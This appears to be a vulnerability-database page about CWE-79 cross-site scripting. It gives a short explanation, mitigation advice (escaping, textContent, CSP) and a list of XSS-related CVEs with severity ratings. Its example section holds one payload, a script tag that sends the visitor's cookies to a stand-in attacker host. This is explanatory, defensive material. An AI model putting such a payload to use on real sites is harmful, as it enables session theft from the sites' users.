Fallos del tipo CWE-79

29.251 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-51122MEDIUMCross Site Scripting vulnerability in Zertificon Z1 SecureMail Z1 CertServer v.3.16.4-2516-debian12 alllows a remote attacker to execute arbEPSS 0.5%CVE-2023-2361MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.5%CVE-2024-8112MEDIUMthinkgem JeeSite Cookie login cross site scriptingEPSS 0.5%CVE-2024-8867MEDIUMPerfex CRM Parameter Clients.php cross site scriptingEPSS 0.5%CVE-2023-1147MEDIUMCross-site Scripting (XSS) - Stored in flatpressblog/flatpressEPSS 0.5%CVE-2022-28612MEDIUMWordPress Custom Popup Builder plugin <= 1.3.1 - Improper Access Control vulnerability leading to multiple Authenticated Stored XSSEPSS 0.5%CVE-2023-2340MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.5%CVE-2023-1146MEDIUMCross-site Scripting (XSS) - Generic in flatpressblog/flatpressEPSS 0.5%CVE-2023-5109MEDIUMWP Mailto Links – Protect Email Addresses <= 3.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-7945MEDIUMitsourcecode Laravel Property Management System Notes Page create cross site scriptingEPSS 0.5%CVE-2024-9299MEDIUMSourceCodester Online Railway Reservation System ?page=reserve cross site scriptingEPSS 0.5%CVE-2024-2391LOWEVE-NG Lab cross site scriptingEPSS 0.5%CVE-2024-36181MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2024-12468MEDIUMWP Datepicker <= 2.1.4 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-1774HIGHCustomily Product Personalizer <= 1.23.3 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-2730MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.5%CVE-2023-0995MEDIUMCross-site Scripting (XSS) - Stored in unilogies/bumsysEPSS 0.5%CVE-2026-65644HIGHRocket.Chat in versions before 8.8.0, 8.7.1, 8.6.2, 8.5.3, 8.4.6, 8.3.8, 8.2.8, 8.1.8, and 7.10.15 has a REST API endpoint POST /api/v1/liveEPSS 0.5%CVE-2022-42236MEDIUMA Stored XSS issue in Merchandise Online Store v.1.0 allows to injection of Arbitrary JavaScript in edit account form.EPSS 0.5%CVE-2022-43046MEDIUMFood Ordering Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /foms/place-orderEPSS 0.5%